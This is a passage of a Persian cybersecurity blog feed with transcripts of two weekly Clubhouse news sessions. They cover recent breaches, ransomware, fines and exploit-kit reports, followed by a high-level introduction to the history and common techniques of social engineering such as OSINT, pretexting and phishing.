یک خبر جالب دیگه شاید درمورد بازداشت جوانی در کره جنوبی بود که اقدام میکرد به هک دوربین منازل شهروندان کره جنوبی که این رو ظرف سال های 2021-2022 چیزی نزیک 7 هزار ویدیو رو ریکورد کرده بود. از تصاویری که داخل منازل این افراد بود. اکثرا افراد شاید در خونه هاشون مخصوصا منازل جدا و خارج از آپارتمان ها هستن، از دوربین هایی برای بحث امنیت خونه استفاده میکنن. بعضا شاید داخل خونه. این میتونه مورد سواستفاده قرار بگیره. خود کره جنوبی روی بحث دوربین هایی که در اماکن عمومی یک عده میان ازشون استفاده میکنن. حتی در دستشویی های عمومی این یک چالش بزرگی شده تو خود کره جنوبی و هم از نظر فرهنگی و هم از نظر قانونی کشور خیلی داره روی این قضیه سرمایه گذاری میکنه که جلوی ضبط و انتشار همچنین ویدیوهایی رو بگیره. مشکلات روانی زیادی رو میتونه برای افراد مختلف به همراه داشته باشه و سر همین قضیه هم این شخص رو بعد از اینکه بازداشت کردن 4 سال براش جکم زندان دادن و به عنوان example برای افرادی که شاید تو این حوزه کار میکن، چون زمان کمی هم نیست. مخصوصا تو کشور آزاد و دموکراتی مثل کره جنوبی.<br />
خبر دیگه بحث TikTok بود. حالا ممکنه بعضی از این اخبار رو سهیل جان گفته باشه، ببخشید اگه دومرتبه بهش اشاره میکنم. خب TikTok بحث Data Bridge خیلی بزرگی رو سورس های مختلف خبری بهش اشاره کردن. البته خود TikTok تا جایی که من یادمه تکذیب میکرد. یکیشون من اکانت سایبر سکیوریتی بود من دیدم یکسری از فایل های اینودیبی که روش بوده رو پابلیش کرده بود که توصیه کرده بود یوزرها اگه میخوان تحت تاثیر قرارنگیرن حتما  Two factor authentication رو برای اکانت های خودشون فعال کنن.<br />
بحث دیگه خبر جالب در مورد  مقاله ای بود که من دیدم یک گروه از دانشجویان دانشگاه مونیخ آلمان این رو منتشر کرده بودن درمورد اون سرویس iCloud provide  که اپل فکرمیکنم یک سال پیش این سرویس رو ارائه داد و گفت که داره روی browser خودش یک اوردلید نتورکی میذاره که این میاد و کل ترافیک کاربر رو encrypt میکنه و لایه ای روی اون بستری که telecom provider یا mobile provider گوشی شما به شما میده یا internet provider تون میده تا این بحث privacy رو ببره بالا. ولی عملا خب بیشتر میخواد کنترل دیتا دست خودش باشه و اون شرکت و تلکام نتونن از این استفاده کنن برای بحث تارگت advertisement و این گروه اومده بود بررسی کرده بودن متوجه شده بودن که این آدرس هایی که استفاده شده تحت شبکه ای تعداد محدودی لیست در حدود 1500 مثلا IP  برای ورود و خروج به این شبکه استفاده شده و حالا اگه یک نهادی بخواد این IP ها رو بلاک کنه، که ایجاد اختلال کنه در عملکرد browsing کاربران اپل که دارن از این بستر استفاده میکنن، این میتونه مورد سواستفاده قرار بگیره و همچنین متوجه شدن که این اطلاعات فقط روی investiture اپل انتقال پیدا نمیکنه. بلکه روی بستر شرکت های دیگه ای مثل آکامین داره ازش استفاده میشه و حتی شرکت هایی مثل Cloudflare هم این اطلاعات رو میتونن بهش دسترسی داشته باشن. که این خلاف ادعایی هست که اپل از اول کرده بود که این کامل تحت زیرساخت اپل این ترافیک تراورس میشه. گارانتی کردن بحث privacy یه مقدار براش سوال مطرح میشه. برخلاف اون ادعایی که اول اپل اومده بود انجام داده بود. یک گزارشی رو هم شرکت safe bridge منتشر کرده بود درمورد بدافزاری که گویا کاربران ایرانی رو مشخصا هدف قرار داده بود، که حتی یکسری از کاربران در سایت هایی مثل دیجی کالا وموارد مختلف داخل ایران که اینها از این بدافزار استفاده میکردن بیشتر برای کپچر کردن اطلاعات. یک اکسپلویتی در مایکروسافت به اسم ddexploit که کد خود این بدافزار هم جالبه روی گیت هاب منتشر شده بود. قابلیت RAT یا Remote access trojan هم این بدافزار هم داشته و جزئیات جالبی توی این گزارشی که شرکت Safe bridge منتشر کرده درمورد این بدافزاری که مشخصا برای کاربران ایرانی استفاده شده بود، هم عنوان شده.<br />
درمورد بحث دولت آلبانی و اون هکی که شده بود رو سهیل جان کامل کاوریج دادن براش. یکی دو خبر دیگه که بخوام اشاره کنم، درمورد هک گسترده ای بود که مدارس لس آنجلس انجام شده بود. یکسری حملات باج افزاری به مجموعه ای از مدارس ناحیه شهری لس آنجلس هستن که این حملات در آمریکا خیلی مرسوم هست. یعنی حملات باج افزاری که داره مدارس انجام میشه، بخاطر  اینکه مدارس معمولا سیستم های قدیمی دارن. بودجه زیادی ندارن و اون سیستم های امنیتیشون خیلی ضعیف هست. تارگت خیلی خوبیه برای هکرها. بخاطر اینکه بلافاصله اگه این سیستم ها رو بیان رمزنگاری کنن، قادر هستن مجبور کنن اون سازمان ها و نهادها رو که پولی پرداخت کنن بهشون تا بتونن سیستم ها رو به حالت اول برگردونن. ولی حالا توی این کیس گویا، مخصوصا حمله زمانی انجام شده بود که تو long weekend بوده توی آمریکا فکرمیکنم تعطیلات روز کارگر بود و گویا تا حدی یکسری از این سیستم ها تونسته بود ریکاور بشه و یجوری ابعادش رو تونسته بودن کنترل کنن.<br />
خبر دیگه درمورد خود اینستاگرام بود. یک جریمه نسبتا سنگینی 400 میلیون دلاری رو دلار ایرلند علیه اینستاگرام تعیین کرده بود که گویا این جریمه بخاطر این بوده  که یک تحقیقی یکسری از محققین انجام داده بودن و متوجه شدن بودن اینستاگرام داره اطلاعات خصوصی بچه ها رو (افرادی که under age هستن) منتشر میکنه به advertiser ها این بار اول نیست. این ها معمولا بخاطر بحث privacy regulation اروپا همیشه تعهد میدن که این قوانین رو دنبال میکنن ولی درعمل خیلی از این قوانین زیرپا گذاشته میشه تا زمانی که یک مدارکی دال بر این به دادگاه ارائه بشه و دادگاه هم جریمه های سنگین اعمال کنه. نکته جالب اینه که بعد از همه این جریمه های سنگین مثلا چند صد میلیون دلاری باز هم می بینید اینها این کار رو چراغ خاموش انجام میدن. چون اون سود سرشاری که داره از اون advertisement به اینها میرسه چندین برابر شاید جریمه های باشه که داره پرداخت میشه. بخاطر همین داستان همیشه کم و بیش وجود داره. در مورد the north face هم جالبه. یک شرکت &#8230;&#8230;&#8230; هست توی آمریکای شمالی خیلی شناخته شده هست. من حتی من دیدم یکسری از لباس ها تو دیجی کالا هم به فروش گذاشته بودن. این برند گویا حجمی نزدیک 200 هزار تا از اکانت هاش از طریق وبسایتهای این شرکت هک شده که مثلا اطلاعات پرسنلی افراد، مثلا نام، شماره تلفن، ایمیل، آدرس منزل و خیلی چیزهای دیگه منتشر شده بود. حالا معمولا بعد از همچنین داستان هایی اگر اون افرادی که ضرر دیدن یک کیس حقوقی ببرن دادگاه قطعا اینها باز مجبور به پرداخت جریمه میشن. حالا ممکنه یه زمانی طول بکشه ظرف یکی دو سال ولی درنهایت بخاطر اون درز اطلاعاتی و آسیبی که شاید اینها دیده باشن، کیس هایی که معمولا حتی یکسری شرکت هایی هستن که تقبل میکنن بدون هیچ هزینه ای این کیس ها رو ببرن دادگاه و بعد از اون جریمه ای که از این شرکت ها گرفتن، یک بخشیش رو به عنوان کار حقوقی خودشون هزینه دریافت میکنن. به احتمال زیاد شاهد این داستان خواهیم بود.<br />
کنفرانس استیل کان که یک کنفرانس تو حوزه security هست، من یکسری از ویدیوهاش رو لینکش رو شیر کرده بودم. اگر دوستان علاقه دارن ویدیوهای ای کنفرانس رو ببینن میتونن از اکانت اینستاگرام یا توییتر من این داستان رو ببینن.<br />
خبر دیگ درمورد بحث هک عکس infinity بود. توسط هکرهای کره شمالی گروه Lazarus صورت گرفته بود. یه چیزی اگه اشتباه نکنم 500 میلیون دلار یکی از بزرگترین هک هایی بود که تو کریپتو صورت گرفته بود. گویا اخیرا شرکت چین الیسیس که یکی از شرکت هایی هستش که تو بحث track کردن تراکنش های کریپتو خیلی فعال هست با نهاد های قانونی آمریکا همکاری خیلی زیادی داره، تونسته این مبلغ نیم میلیارد دلار ، 30 میلیون دلارش رو ریکاور کنه. متوجه شده بود که به اکانتی وصل میشده که والتی که منتسب به گروه لزروس بوده و توی بلاگ پستی این چین الیسیس این رو اومده توضیح داده. این باز بحث ایننمس بودن توی پلفتفرم های کریپتو هست که من بارها درموردش صحبت کردم. یک ویدیو هم درمورد همین داستان مشخصا تهیه کرده بودم. اینکه شما دارین با کریپتو بیت کوین پرداخت میکنین توهم این رو داشته باشین که قابل track کردن نیست. این روش های مختلفی وجود داره که میتونن track کنن. حتی اگر شما اکانت های ناشناس داشته باشید از طریق چندین والت دارین این کارها رو انجام میدین. اون رمزارزهایی که خیلی کار رو پیچیده میکنن مثل مونرو مشکلشون شاید این باشه که خیلی قابل track کردن نیستن. خیلی سخته track کردنشون. مشکل اصلی اینه که خیلی از کریپتو اکسچنج ها ساپورتشون نمیکنن بخاطر همین بحث عدم شفافیتی که دارن. در این خصوص از کریپتوی دیگه استفاده کرده بودن برای جابجا کردن و تا حدی تونستن به مبلغی در حد 4-5 درصد کل اون مبلغ اصلی رو تونستن ریکاور کنن که مشابه این رو برای داستان کلونین پایپلاین هم اتفاق افتاد. یعنی FBI تونست بخشی یعنی چند میلیون دلار از رمزهایی که پرداخت شده بود رو بتونن ریکاور کنن. این یکسری از اخبار بود که میخواستم با دوستان به اشتراک بذارم. حالا اگر مطلبی یا سوالی هست ممنون میشم بشنویم، ممنونم<br />
خیلی ممنون داود جان. دوستان اگه صحبتی دارن، اخباری دارن یا مطلبی دارن میتونن بیان بالا یا بصورت متنی به ما پیام بدن. سهیل جان ، دکتر جان اگر مطلبی نیست اتاق رو کم کم به پایان برسونیم.<br />
نه مهدی جان مطلبی نیست. امیدوارم که هفته خوبی داشته باشید. شب و روزتون بخیر<br />
خب خیلی ممنون سهیل جان داود جان، ممنون از همه شما دوستان عزیز که همیشه همراه ما هستید، باز هم توضیح همیشگی رو به دوستانی که تازه به جمع ما اضافه شدن بدم. هر هرهفته شنبه شب ها ما اخبار امنیت سایبری رو در اتاقی تحت همین نام کلاب peneter پوشش میدیم. اگر مایل بودین خود کلاب peneter ، سخنرانان و شبکه های اجتماعیشون رو فالو کنید تا از زمان دقیق تشکیل اتاق ها باخبر بشید. اگر هم علاقه مند به شنیدن جلسات برگزار شده خود کلاب هستین از طریق replay خود کلاب و کانال یوتیوب یا بلاگ ما به آدرس peneter.com میتونید به فایل صوتی این جلسات دسترسی داشته باشید. امیدوارم که در هفته های  آینده هم درخدمتتون باشیم. لحظات خوب و خوشی رو براتون آرزومندم. شب و روزتون خوش</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/cybersecurity-news-46-1401-06-19/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>اخبار امنیت سایبری – 45 (03-09-2022)</title>
		<link>https://blog.peneter.com/cybersecurity-news-45-1401-06-12/</link>
					<comments>https://blog.peneter.com/cybersecurity-news-45-1401-06-12/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Sat, 03 Sep 2022 20:29:53 +0000</pubDate>
				<category><![CDATA[اخبار امنیت]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1236</guid>

					<description><![CDATA[اخبار امنیت سایبری (جلسه 45ام) با موضوع Social Engineering که در تاریخ دوازدهم شهریورماه 1401 در اتاق مرتبط با آن در کلاب Peneter.com برگزار شد...]]></description>
										<content:encoded><![CDATA[<p>اخبار امنیت سایبری (جلسه 45ام) با موضوع Social Engineering که در تاریخ دوازدهم شهریورماه 1401 در اتاق مرتبط با آن در کلاب <a href="https://www.clubhouse.com/club/penetercom">Peneter.com</a> برگزار شد رو از طریق پخش کننده زیر می‌توانید گوش بدهید یا دانلود نمایید.</p>
<p><iframe loading="lazy" scrolling="no" id="hearthis_at_track_7057427" width="100%" height="150" src="https://app.hearthis.at/embed/7057427/transparent_black/?hcolor=&#038;color=&#038;style=2&#038;block_size=2&#038;block_space=1&#038;background=1&#038;waveform=0&#038;cover=0&#038;autoplay=0&#038;css=" frameborder="0" allowtransparency allow="autoplay"></p>
<p>Listen to <a href="https://hearthis.at/peneter-com/452022.09.0301.06.12cybersecurity.news/" target="_blank" rel="noopener">#45# CyberSecurity News 2022.09.03 (1401.06.12)</a> <span>by</span><a href="https://hearthis.at/peneter-com/" target="_blank" rel="noopener">Peneter.com</a> <span>on</span> <a href="https://hearthis.at/" target="_blank" rel="noopener">hearthis.at</a></p>
<p></iframe></p>
<p>درود و عرض ادب دارم خدمت همه ی دوستان و عزیزانی که در اتاق هستند. امیدوارم هرکجا که هستید شاد و سلامت و تندرست باشید. با چهل و پنجمین اتاق از مجموعه اخبار سایبری تحت کلاب پنتر این هفته هم در خدمت دوستان عزیز هستیم. خب از هفته گذشته ما یک تغییری رو در برنامه ی هفتگی خودمون داشتیم. اشاره ای شده بود قبلا که ما از این به بعد غیر از بحث مرور اخبار سایبری هفتگی ایران و جهان، روی یک موضوع خاص هم صحبت هایی رو خواهیم داشت. حالا بصورت دقیق تر ما جزئیات رو بحث خواهیم کرد. که هفته گذشته با اولین تاپیکی که انتخاب شده بود، بحث Revenge porn بود. این هفته موضوع Social Engineering سهیل عزیز مطالبی رو خدمت دوستان ارائه خواهند کرد و حالا اگر فرصت بشه بحث پرسش و پاسخ هم در انتهای بحث خواهیم داشت. من برای آغاز بحث سعی میکنم یک مرور کوتاهی روی یکسری از مهمترین اخباری که تو حوزه سایبری در هفته گذشته اتفاق افتاد داشته باشیم. البته حجم اخبار خیلی زیاده، من یه موارد خاصش رو دستچین کردم. اگر علاقه داشتید که اخبار بیشتری رو ببینید اکانت سوشال مدیای توییتر من یا سهیل عزیز رو اگر دوستان دنبال کنید، می تونید اطلاعات بیشتری رو به همراه منابع خبری اخباری که انتشار پیدا کرده رو ببینید. خبری که هفته گذشته سروصدا کرد در مورد بحث یه حمله باج افزاری به دولت شیلی بود. با این خبر شروع می کنم. در آمریکای جنوبی ما حملات باج افزاری زیادی رو طی سال گذشته شاهد بودیم. کشورهایی مثل آرژانتین ، برزیل، کاستاریکا، مونته گر، پرو، حتی آرژانتین اگه یادم باشه یکسری از اطلاعات فردی لیونل مسی و یکسری از بازیکنان تیم ملی آرژانتین درز پیدا کرد روی اینترنت و حملات باج افزاری مختلفی روی این پلتفرم ها در زمان های مختلفی صورت گرفته بود.. و حالا در یکی از آخرین ها که روی دولت شیلی صورت گرفته بوده، در 25 آگوست ماه گذشته (کمتر از یک هفته پیش) اینها تونسته بودن به یکسری از سیستم های یکی از نهادهای دولتی (دولت شیلی به جزئیات بیشتری اشاره نکرده) ولی تایید کردن که یک مجموعه از سرورهای این نهاد دولتی که اطلاعات خاص و مشخصی از اپلیکیشن های دولت شیلی بوده، اینها رمزنگاری شده و Encrypt شده توسط هکرها و درخواست باج کردن برای پرداخت صورت بگیره. سرورها هم سرورهای گویا VMware ESXi که احتمال زیاد یک مجموعه VM روشون بوده. یک خبر دیگه اون خبری بود که یک قانونی رو در انگلستان گویا دولت انگلستان داره تایید می کنه در مورد این بحثی که بخوادMobile Provider  ها یا کلا شرکت های مخابراتی که در انگلستان هستند، بحث Security Control  ها رو براشون خیلی سفت و سخت تر  اعمال کنه. از این لحاظ که حالا اگر اطلاعات کاربران به بیرون درز پیدا کنه. حتی بحث Availability سرویس خیلی مهمه. اگر این سرویس ها از دسترسی خارج بشن، اینها باید یک جریمه نسبتا سنگینی رو پرداخت کنن که جالبیش این بود که توی گزارش که من دیدم از خود دامنه gov.uk مال دولت انگلستان منتشر شده بود. اصل خبر رو هم publish کرده بودن، که اون جریمه میتونه تا 10 درصد گردش مالی اون کمپانی باشه. و تا 100 هزارپوند در روز اینها میتونن جریمه بشن، اگر بخاطر سهل انگاری در بحث امنیت اطلاعات مشتریانشون به بیرون درز پیدا کنه. یا بعضا بحث های Privacy یا track کردن مشتریان هم کیس های زیادی بوده که اینها جریمه شدن. حتی یکی از جریمه هایی که هفته گذشته سروصدا کرد و جالب بود مربوط به پارلمان نروژ بود. یعنی دولت نروژ اومده بود پارلمان نروژ رو جریمه کرده بود. یه مبلغی نزدیک 200 هزاردلار اگه اشتباه نکنم بخاطر اینکه اینها گویا یکسری از سرورهاشون هک شده بود و بعد از بررسی هایی که کرده بودن، دیدن استانداردهای کنترل های امنیتی که تعریف شده بود از طرف دولت نروژ، اعمال نشده بود. و بخاطر همین هم این هک صورت گرفته بود.<br />
درمورد آسیب پذیری TikTok هم Microsoft گزارشی رو منتشر کرد. روی پلتفرم اندروید که میتونن مهاجمین بیان یکسری از اکانت ها رو Takeover کنن از طریق کلیک کردن روی یک لینک آلوده. Browser هایی که داخل خود اپلیکیشن ها وجود داره. یک خبر دیگه درمورد Flashpoint Intelligence یک نهادی هست که میاد هر از چندگاهی گزارش هایی مخصوصا تو حوزه کریپتوکارنسی من دیدم که پابلیش میکنه و یک گزارشی رو اخیرا منتشر کرده بود. اول شاید شما بخونید به نظر غیرواقعی بیاد. ولی وقتی من جزئیاتش رو نگاه کردم گویا درست بوده که یک شخصی در روسیه بخاطراینکه 16 دلار اومده بود دونیت کرده به کمپین ضدفساد الیکسا ناوالین که درواقع مخالف دولت پوتین هست، و این شخص رو بازداشت کردن. حالا این الیکسا ناوالین چهره ایه که خیلی سروصدا کرد. میدونید که تو اخبار خونده بودیم که مسموم شده بود بوسیله آژانس های اطلاعاتی روسیه. میره آلمان و دومرتبه برمیگرده روسیه محاکمه میشه. الان در زندان هست. حتی یک کیس جالب دیگه درمورد این، این بود که FSB یا آژانس اطلاعات امنیت روسیه اومده بود از Deep Fake استفاده کرده بودن که خودشون رو جای ناوالین جا بزنن تا در مکالماتی که تحت اسکایپ با نمایندگان پارلمان اروپا داشتن بتونن از اینا اطلاعات بگیرن. دور و بر این بنده خدا اخبار عجیب غریب زیاد میشنویم. ولی بحث دونیشن 16 دلار به کمپین ضدفساد توسط یکی از طرفدارانش که این شخص هم بازداشت شده، بخاطر درز دیتابیسی بوده که صورت گرفته. دیتابیس به دست نیروهای امنیتی افتاده و اینها تونستن transaction ها ، اطلاعات تماس و یکسری جزئیات رو بدست بیارن و درنهایت اون شخصی که این دونیشن رو انجام داده پیدا کنن و بازداشت کنن.<br />
یک خبری هم درمورد بلاروس بود. گروه هکری بنام بلاروسین سایبر پارتیزن . این گروه از زمان جنگ اکراین طرفدار اکراین بود. یعنی بین اکراین و روسیه اینها علیه بلاروس بودن. چون دولت بلاروس کلا پشتیبان پوتین و روسیه هست. اینها حملات زیادی رو انجام داده بودن. یکسری راه آهن کل بلاروس رو دچار اختلال کرده بودن. آخرین کاری که اینها هفته گذشته کرده بودن، گویا کل اطلاعات پاسپورت شهروندان بلاروس رو تونسته بودن از دیتابیس وزارت خارجه یا دولت بلاروس بدست بیارن. حتی مشخصات و شماره پاسپورت و تمام اطلاعات مربوط به چیزی که من روی اکانت توییترشون دیدم، از رئیس جمهور بلاروس منتشر کرده بودن و یکسری اطلاعات دیگه. که البته اینها باید وریفای بشه ولی خب روی این اکانت و چندین اکانت توییتر دیگه من دیده بودم که این رو تایید کرده بودن. این هم یک کار خیلی بزرگی هست. مخصوصا بدست آوردن اطلاعات پاسپورت خب خیلی میتونه مورد سواستفاده زیادی قراربگیره. و حتی این سران کشورها معمولا اگر اطلاعات پاسپورتشون درز پیداکنه، بلافاصله عوض میکنن. همون داستانی که درمورد نخست وزیر استرالیا اتفاق افتاد. که از طریق یکی از شهروندان استرالیا از طریق کارت پروازش که که این شخص توی اینستاگرام اومده بود عکسش رو گذاشت بود، تونسته بود بیاد شماره تماس و شماره پاسپورت نخست وزیر استرالیا رو بدست بیاره و درنهایت این رو اعلام کرد. سعی کردن این مشکل رو رفع کنن. و شماره پاسپورت ایشون رو عوض کردن.<br />
این چند تا اخبار بود. حالا من برای اینکه نمیخوام وقت در واقع از دستمون خارج بشه، و در همون یک ساعت بمونیم، من تا همینجا بسنده می کنم. از سهیل عزیز میخوام که ادامه اخبار رو بگن و بریم سر موضوع اصلی. سهیل جان استیج در اختیار شماست.<br />
خیلی ممنون داود جان، درود و عرض ادب خدمت تمامی دوستانی که در اتاق حضور دارن. من چندتا ددلاین رو روش تمرکز میکنم. اولین ددلاینی که برای من جالب بود، توی 25 اگوست اکانت وی ایکس آندرگرند از یکی از فروم های زیرزمینی یک داکیومنتی رو منتشر کرد که درمورد  RC exploit روی iOS و گوشی های آیفون و اندروید و یکسری از گوشی های دیگه بود. این داکیومنت تا قسمتیش فنی بود و بعد قسمتی درمورد قیمتش بود که 8 میلیون دلار قیمت این مجموعه اکسپلویدها بودش که شرکت اینتلکسا که یک شرکت اسپانیایی هستش، این محصول رو میفروخت. خیلی سروصدا کرد توی هفته گذشته. حالا تحلیلی که من درموردش خوندم که مدیستون لیدرگروه Google Zero Project هست، تحلیلی درمورد داکیومنت اینتلکسا کرده بود. اشاره کرد که اولا این 8 میلیون واسه 10 تا دیوایس بوده که بعضی ها میگفتن فقط واسه iOS هست. درمورد ورژن iOS اومد توضیح داده، طبق داکیومنتی که توضیح داد بود، اینتلکسا فقط ورژن 15.4.1 رو میتونست بصورت آرسی بزنه، تا 16 می بود که پچ واسش اومدش. که از اون به بعدش رو شرکت نمیتونست ساپورت کنه. یعنی توی این داکیومنت نبوده.<br />
درمورد Android Zero-day ها هم صحبت کرده بود که حالا یکسری zero-day هایی که کشف شده از کیت اندروید، به تاریخ انتشار Security Update هم اشاره کرده بود. حالا این پک exploit kit تا ماه می قابل استفاده بوده. حالا اگه بعدش آپدیت داده باشه شرکت اینتلکسا، مشخص نیست هنوز.<br />
بریم سراغ ددلاین بعدی، 26 آگوست درمورد Security Bridge شرکت LastPass صحبت کرده بود. منتهی خبرش خیلی پیچید که LastPass هک شده پسوردهاش. اما من چیزی که پیگیر بودم این بود که هکرهایی که دسترسی گرفتن بودن از LastPass پسوردی توی سرورها نبوده که بخوان ازش سواستفاده کنند. صرفا دسترسی به شبکه گرفتن و هیچ دسترسی به پسوردها یا hash اون پسوردها حتی نداشتن. یعنی هیچ پسوردی از سمت LastPass ذخیره نمیشه. این دو خبری بود که از نظر من جالب بود. حالا خبرهای دیگه ای هم هست که میتونید از تویتتر داود جان وتوییتر من دنبال کنید. میریم سراغ بحث اصلیمون.<br />
طبق نظری که با دوستان داشتیم قرارشد که ما هرهفته یک موضوع سایبری رو بررسی کنیم. هفته پیش درمورد  Revenge pornبود. این هفته درمورد Social Engineering هست که نامربوط هم نیست با Revenge porn .   و Social Engineering رو شاید خیلیهاتون شنیده باشین ولی خب من سعی میکنم که یکسری تعاریف رو بدیم و یکسری تکنیک ها رو درموردش صحبت کنم بصورت فنی و هم بصورت تاریخچه روش های مهندسی اجتماعی. که یک مجموعه درکنار همدیگه داشته باشیم. خب اولا یک تعریفی درمورد مهندسی اجتماعی بدم.<br />
مهندسی اجتماعی درواقع هنر فریفتنه. که از مجموعه روش هایی استفاده میکنه که با دستکاری اختیارات manipulation of authority افراد اقدام میکنه افراد رو مجبور میکنه که یک عمل غیرمجاز رو انجام بدن. حالا بالاترین سطحش این میشه که اجازه میده فرد یا همون هکر وارد سیستمش بشه. و این دستکاری معمولا هدفش چندین عامله. احساسات آدمها هستن، احساس ترس، طمع، از دست دادن فرصت و.. و حالا بعضی موقع ها احساس میکنه اگه به یه نفر تو موقعیتی یک احساس خوبی بهش دست میده. و بیشتر مواقع که این احساسات به آدمها دست میدن و موجب میشن که یکسری اطلاعات محرمانه بدن که ممکنه اطلاعات شخصی خودشون باشه. یا اطلاعات محرمانه شرکتشون باشه. همه اینها بخاطر عدم دانش و آگاهی سایبری هستش.<br />
بریم روی تاریخچه مهندسی اجتماعی. مهندسی اجتماعی اگر خیلی شنیده باشید فکرمیکنید که از زمان &#8230;&#8230;&#8230;.. بوده. ولی خیلی قبل تر از اون بوده. اگر بخوایم بیایم جزو legend های این قضیه رو بررسی کنیم، اولین کسی که از مهندسی اجتماعی استفاده کرد فراند ابنیگل  بودش که شاید فیلم Catch ………….  رو شما دیده باشین. سال 1960 این فرد اومدش خودش رو با روش &#8230;&#8230;&#8230;&#8230;. یعنی خودش رو جا میزد با عنوان شغل های دیگه. به عنوان خلبان، دکتر و وکیل. که بعدا توسط FBI دستگیر شد و جزو کارشناس FBI شد.  بعدتر اگر بخوایم بیایم توی هدلاین تاریخی مون میایم برمیخوریم به شخصی بنام الی کوهن که شاید خیلی به گوشتون خورده باشه. این شخص یک مامور رد بالای موساد بوده که سال 1967  از همون روش &#8230;&#8230;&#8230;. یعنی خودش رو جای شخصی بنام &#8230;&#8230;&#8230;&#8230; جا زدش و تونست به بالاترین سطح سیستم دفاعی سوریه که میشه وزارت دفاعش دسترسی پیدا کنه وزیر دفاع بشه و حالا اگر علاقه مند هستید میتونید سریالی رو Netflix اگر اشتباه نکنم درست کرده بنام &#8230;&#8230;&#8230;&#8230;.. که درمورد تاریخچه اینکه الیکوهن چجوری تونست اون کارو انجام بده. یعنی از روش &#8230;&#8230;&#8230;. استفاده کنه و این کارها رو انجام بده. و این هم جزو تکنیک های مهندسی اجتماعیه. بیایم جلوتر میخوریم به آقای Kevin Mitnick. تفاوت آقای Kevin Mitnick.با افراد قبلی این بودش که فردی بودشش که علاقه مند بود به تکنولوژی دنیای سایبری. و تقریبا تو اون سالهایی بود که افراد زیادی تو حداقل کشور آمریکا تو حوزه سایبری فعالیت میکرد. تو حوزه هک تلفن ها، هک رادیو و کارهای جالبی تو این حوزه ها میکردن. توی اون موقعین قرارگرفتن آقای Kevin Mitnick.و درکنار دوستانش قرارگرفتن و اون کنجکاوی که این فرد داشت و حالا رفتاری که تو محیط باهاش شد. از طرف خانواده باعث شد که به سمتی سوق پیدا کنه که الان می بینیم که آقای Kevin Mitnick. یک پیوتی توی تاریخ هست که Social Engineering رو همه اومدن شناختن. یعنی مهندسی اجتماعی رو با آقای Kevin Mitnick. الان می شناسن. حتی تو کتابهای …………ماژول Social Engineering رو وقتی میان تدریس میکنن، درمورد آقای Kevin Mitnick. صحبت میکنن. و حالا اگر این هدلاین رو بریم جلوتر و تایم لاین 2011 بیایم شرکت RSA توسط فیشینگ اتک هک شد و هکر تونست دسترسی پیدا کنه به Two Factor Authentication که از طریق فیشینگ بود که جلوتر میگیم فیشینگ چی هستش. بعد توی تایم لاین 2013 ارتش سایبری سوریه اقدام به هک کردن Associated Press کرد. وقتی اکانت توییترش رو هک کرد یک خبری گذاشت درمورد بمب گذاری توی white house و زخمی شدن باراک اوباما. سال 2013 با استفاده از متد فیشینگ شرکت تارگت هک شد و 40 میلیون credit card به سرقت رفت. جلوتر بیایم یک سریالی رو ما داشتیم بنام مستر ربات که سال 2015 بود. که میاد توضیح میده درمورد شخصی بنام الیوت که هکری هست که صبح ها وایت هت هست. در شرکتی کار میکنه و کارش جلوگیری از حملات سایبریه. شبها هم بلک هته و شروع میکنه به هک کردن. تمام متدهایی که این شخص استفاده میکنه، خارج از بحث اکلسپلوتینگ با استفاده از دیوایس هایی که استفاده میکنه توی سریال. همه اون روشها ، مجموعه تکنیک های مهندسی اجتماعیه.<br />
حتی سال 2015 وزارت کار آمریکا از طریق حمله watering Hole هک شد. و بخاطر آسیب پذیر بودن &#8230;&#8230;&#8230;. تونستن وبسایت ها رو آلوده کنن و هرکسی که اون سایت رو باز میکرد، بصورت اتوماتیک میرفت توی سیستمش نصب میشد. حالا بریم یکم درمورد تکنیک های مهندسی اجتماعی صحبت کنیم. بعد برمیگردیم درمورد آقای Kevin Mitnick صحبت میکنیم.<br />
تکنیک های مهندسی اجتماعی<br />
مهمترین و اصلی ترین تکنیک شخصی که بخواد مهندسی اجتماعی انجام بده استفاده از روش های Open-source intelligence (OSINT)  . تکنیک هایی هست که میشه با اون اطلاعاتی رو از سه سطح اینترنت جمع آوری کرد. اینترنت هم یه Surface Web داره هم Dark Web و هم Deep Web. و خیلی از ما روزانه فقط از Surface Web استفاده میکنیم. و خبر نداریم که توی Dark Web و Deep Web چه اطلاعاتی از ما منتشر شده و گهگاهی پیش میاد که خیلی از این اطلاعاتی که توی Dark Web و Deep Web منتشر میشه بعد از یه زمانی توسط یه شخصی میاد توی توییتر گفته میشه. و مشخص میشه که فلان سازمان یا فلان شرکت هک شده و مثلا 80 میلیون رکورد توسط شرکت ایرانی پابلیک شده. اولین متد مهندسی اجتماعی متد Pretexting  هستش که شخصی که میخواد مهندسی اجتماعی انجام بده با استفاده از اطلاعاتی که توی OSINT بدست آورده میاد یه سناریویی رو customize میکنه برای اون فرد. که حالا این سناریو میتونه برای تایید یه نفر باشه. یعنی از طرف بانک بهش زنگ میزنه برای یه تراکنش مالی نیازمند این هستیم که شمارو تایید کنیم. و شما باید detail حسابتون رو بدین. و خودتون رو تایید هویت بکنید. که با استفاده از بدست آوردن این اطلاعات، میتونه دسترسی پیدا کنه به شبکه های اجتماعی یا حتی خود بانک که این اتفاق توی تاریخ افتاده. سال 2015 مدیر وقت CIA توسط هکرها هک شد. هکرها اول اومدن خودشون رو جای &#8230;&#8230;&#8230; جا زدن و اقدام کردن به گرفتن اطلاعات از شخص جان بران و با استفاده از همون اطلاعاتی که گرفتن تونستن اکانت AOL مدیر وقت CIA رو تو سال 2015 هک کنن. بزرگترین متدی که سالانه میلیاردها دلار ضرر میزنه، متد فیشینگ هستش. متد فیشینگ مجموعه ای از چندین متد هست. گاهی اون شخص هکر با استفاده از سیستم VOIP تماس میگیره و شروع میکنه با شما صحبت کردن. و یکسری اطلاعات فردی میگیره برای اینکه بخواد با شما مصاحبه کنه با سازمان بر اساس اون تم مهندسی اجتماعی که هکرها ازش استفاده میکنن، سناریوها میتونه متفاوت باشه. یا از طرف بانک یا کارفرما زنگ میزنه. فیشینگ میتونه از طریق ایمیل باشه، خیلی بهش برخوردیم. خیلی ساله که حتی Email gateway ها هم سخته براشون بخوان ایمیل فیشینگ هارو بصورت 100% بگیرن و خیلی از سازمان ها الان توسط همین روشها دارن هک میشن. و این سازمانها، 